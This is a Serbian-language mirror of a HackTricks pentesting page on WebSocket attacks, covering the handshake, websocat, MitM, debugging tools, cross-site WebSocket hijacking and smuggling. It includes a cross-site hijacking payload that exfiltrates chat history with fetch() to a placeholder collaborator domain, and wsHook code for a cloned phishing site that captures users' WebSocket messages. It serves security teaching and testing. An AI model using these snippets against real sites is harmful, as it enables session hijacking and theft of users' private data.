mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 16:10:54 +00:00
184 lines
12 KiB
Markdown
184 lines
12 KiB
Markdown
# WebSocket Attacks
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Šta su WebSocketi
|
||
|
||
WebSocket veze se uspostavljaju kroz inicijalni **HTTP** handshake i dizajnirane su da budu **dugoročne**, omogućavajući dvosmerno slanje poruka u bilo kojem trenutku bez potrebe za transakcionim sistemom. Ovo čini WebSocket-e posebno korisnim za aplikacije koje zahtevaju **nisku latenciju ili komunikaciju iniciranu sa servera**, kao što su strimovi uživo finansijskih podataka.
|
||
|
||
### Uspostavljanje WebSocket Veza
|
||
|
||
Detaljno objašnjenje o uspostavljanju WebSocket veza može se pronaći [**ovde**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Ukratko, WebSocket veze se obično iniciraju putem JavaScript-a na klijentskoj strani kao što je prikazano u nastavku:
|
||
```javascript
|
||
var ws = new WebSocket("wss://normal-website.com/ws");
|
||
```
|
||
`wss` протокол означава WebSocket везу заштићену **TLS**, док `ws` указује на **необезбеђену** везу.
|
||
|
||
Током успостављања везе, изводи се руковање између браузера и сервера преко HTTP. Процес руковања укључује слање захтева од стране браузера и одговор сервера, као што је илустровано у следећим примерима:
|
||
|
||
Браузер шаље захтев за руковање:
|
||
```javascript
|
||
GET /chat HTTP/1.1
|
||
Host: normal-website.com
|
||
Sec-WebSocket-Version: 13
|
||
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
||
Connection: keep-alive, Upgrade
|
||
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||
Upgrade: websocket
|
||
```
|
||
Odgovor serverovog rukovanja:
|
||
```javascript
|
||
HTTP/1.1 101 Switching Protocols
|
||
Connection: Upgrade
|
||
Upgrade: websocket
|
||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||
```
|
||
Konekcija ostaje otvorena za razmenu poruka u oba pravca nakon uspostavljanja.
|
||
|
||
**Ključne tačke WebSocket rukovanja:**
|
||
|
||
- `Connection` i `Upgrade` zaglavlja signaliziraju inicijaciju WebSocket rukovanja.
|
||
- `Sec-WebSocket-Version` zaglavlje označava željenu verziju WebSocket protokola, obično `13`.
|
||
- Base64-enkodirana nasumična vrednost se šalje u `Sec-WebSocket-Key` zaglavlju, osiguravajući da je svako rukovanje jedinstveno, što pomaže u sprečavanju problema sa keširanjem proksija. Ova vrednost nije za autentifikaciju, već da potvrdi da odgovor nije generisan od strane pogrešno konfigurisane server ili keša.
|
||
- `Sec-WebSocket-Accept` zaglavlje u odgovoru servera je heš od `Sec-WebSocket-Key`, verifikujući nameru servera da otvori WebSocket konekciju.
|
||
|
||
Ove karakteristike osiguravaju da je proces rukovanja siguran i pouzdan, otvarajući put za efikasnu komunikaciju u realnom vremenu.
|
||
|
||
|
||
### Linux konzola
|
||
|
||
Možete koristiti `websocat` za uspostavljanje sirove konekcije sa websocket-om.
|
||
```bash
|
||
websocat --insecure wss://10.10.10.10:8000 -v
|
||
```
|
||
Ili da kreirate websocat server:
|
||
```bash
|
||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||
```
|
||
### MitM websocket veze
|
||
|
||
Ako otkrijete da su klijenti povezani na **HTTP websocket** iz vaše trenutne lokalne mreže, možete pokušati sa [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) da izvršite MitM napad između klijenta i servera.\
|
||
Kada klijent pokuša da se poveže, možete koristiti:
|
||
```bash
|
||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||
```
|
||
### Websockets enumeracija
|
||
|
||
Možete koristiti **alat** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **da automatski otkrijete, identifikujete i pretražujete poznate** **ranjivosti** u websockets.
|
||
|
||
### Websocket Debug alati
|
||
|
||
* **Burp Suite** podržava MitM websockets komunikaciju na vrlo sličan način kao što to radi za regularnu HTTP komunikaciju.
|
||
* [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite ekstenzija** će vam omogućiti bolje upravljanje Websocket komunikacijama u Burp-u dobijanjem **istorije**, postavljanjem **pravila za presretanje**, korišćenjem **pravila za usklađivanje i zamenu**, korišćenjem **Intruder** i **AutoRepeater.**
|
||
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Skraćeno od "**WebSocket/Socket.io Proxy**", ovaj alat, napisan u Node.js, pruža korisnički interfejs za **hvatanje, presretanje, slanje prilagođenih** poruka i pregled svih WebSocket i Socket.IO komunikacija između klijenta i servera.
|
||
* [**wsrepl**](https://github.com/doyensec/wsrepl) je **interaktivni websocket REPL** dizajniran posebno za penetraciono testiranje. Pruža interfejs za posmatranje **dolaznih websocket poruka i slanje novih**, sa jednostavnim okvirom za **automatizaciju** ove komunikacije. 
|
||
* [**https://websocketking.com/**](https://websocketking.com/) je **web za komunikaciju** sa drugim webovima koristeći **websockets**.
|
||
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) između ostalih tipova komunikacija/protokola, pruža **web za komunikaciju** sa drugim webovima koristeći **websockets.**
|
||
|
||
## Websocket Lab
|
||
|
||
U [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) imate kod za pokretanje web-a koristeći websockets, a u [**ovom postu**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) možete pronaći objašnjenje.
|
||
|
||
## Cross-site WebSocket otmica (CSWSH)
|
||
|
||
**Cross-site WebSocket otmica**, takođe poznata kao **cross-origin WebSocket otmica**, identifikovana je kao specifičan slučaj **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** koji utiče na WebSocket rukovanja. Ova ranjivost se javlja kada WebSocket rukovanja autentifikuju isključivo putem **HTTP kolačića** bez **CSRF tokena** ili sličnih bezbednosnih mera.
|
||
|
||
Napadači mogu iskoristiti ovo tako što će hostovati **zloćudnu web stranicu** koja inicira cross-site WebSocket vezu sa ranjivom aplikacijom. Kao rezultat, ova veza se tretira kao deo sesije žrtve sa aplikacijom, koristeći nedostatak CSRF zaštite u mehanizmu upravljanja sesijama.
|
||
|
||
### Jednostavan napad
|
||
|
||
Imajte na umu da kada **uspostavljate** **websocket** vezu, **kolačić** se **šalje** serveru. **Server** ga može koristiti da **poveže** svakog **specifičnog** **korisnika** sa njegovom **websocket** **sesijom na osnovu poslatog kolačića**.
|
||
|
||
Zatim, ako na **primer** **websocket** **server** **vrati istoriju razgovora** korisnika ako se pošalje poruka sa "**READY"**, tada će **jednostavan XSS** koji uspostavlja vezu (**kolačić** će biti **poslat** **automatski** da autorizuje korisnika žrtvu) **slanjem** "**READY**" moći da **dobije** istoriju **razgovora**.
|
||
```markup
|
||
<script>
|
||
websocket = new WebSocket('wss://your-websocket-URL')
|
||
websocket.onopen = start
|
||
websocket.onmessage = handleReply
|
||
function start(event) {
|
||
websocket.send("READY"); //Send the message to retreive confidential information
|
||
}
|
||
function handleReply(event) {
|
||
//Exfiltrate the confidential information to attackers server
|
||
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||
}
|
||
</script>
|
||
```
|
||
### Cross Origin + Cookie with a different subdomain
|
||
|
||
U ovom blog postu [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) napadač je uspeo da **izvrši proizvoljni Javascript u poddomeni** domena gde je komunikacija putem web socket-a bila u toku. Pošto je to bila **poddomena**, **cookie** je bio **poslat**, a pošto **Websocket nije pravilno proveravao Origin**, bilo je moguće komunicirati s njom i **ukrasti tokene iz nje**.
|
||
|
||
### Stealing data from user
|
||
|
||
Kopirajte web aplikaciju koju želite da imitirate (npr. .html fajlove) i unutar skripte gde se odvija websocket komunikacija dodajte ovaj kod:
|
||
```javascript
|
||
//This is the script tag to load the websocket hooker
|
||
<script src='wsHook.js'></script>
|
||
|
||
//These are the functions that are gonig to be executed before a message
|
||
//is sent by the client or received from the server
|
||
//These code must be between some <script> tags or inside a .js file
|
||
wsHook.before = function(data, url) {
|
||
var xhttp = new XMLHttpRequest();
|
||
xhttp.open("GET", "client_msg?m="+data, true);
|
||
xhttp.send();
|
||
}
|
||
wsHook.after = function(messageEvent, url, wsObject) {
|
||
var xhttp = new XMLHttpRequest();
|
||
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
|
||
xhttp.send();
|
||
return messageEvent;
|
||
}
|
||
```
|
||
Sada preuzmite `wsHook.js` datoteku sa [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) i **sačuvajte je unutar fascikle sa web datotekama**.\
|
||
Izlaganjem web aplikacije i omogućavanjem korisniku da se poveže na nju, moći ćete da ukradete poslate i primljene poruke putem websocket-a:
|
||
```javascript
|
||
sudo python3 -m http.server 80
|
||
```
|
||
## Race Conditions
|
||
|
||
Race Conditions u WebSocket-ima su takođe stvar, [proverite ove informacije da biste saznali više](race-condition.md#rc-in-websockets).
|
||
|
||
## Other vulnerabilities
|
||
|
||
Pošto su Web Sockets mehanizam za **slanje podataka na serversku i klijentsku stranu**, u zavisnosti od toga kako server i klijent obrađuju informacije, **Web Sockets se mogu koristiti za iskorišćavanje nekoliko drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web ranjivost koristeći unos korisnika iz websocket-a.**
|
||
|
||
## **WebSocket Smuggling**
|
||
|
||
Ova ranjivost bi mogla omogućiti da **zaobiđete ograničenja obrnute proxy usluge** tako što će ih naterati da veruju da je **websocket komunikacija uspostavljena** (čak i ako to nije tačno). Ovo bi moglo omogućiti napadaču da **pristupi skrivenim krajnjim tačkama**. Za više informacija proverite sledeću stranicu:
|
||
|
||
{% content-ref url="h2c-smuggling.md" %}
|
||
[h2c-smuggling.md](h2c-smuggling.md)
|
||
{% endcontent-ref %}
|
||
|
||
## References
|
||
|
||
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|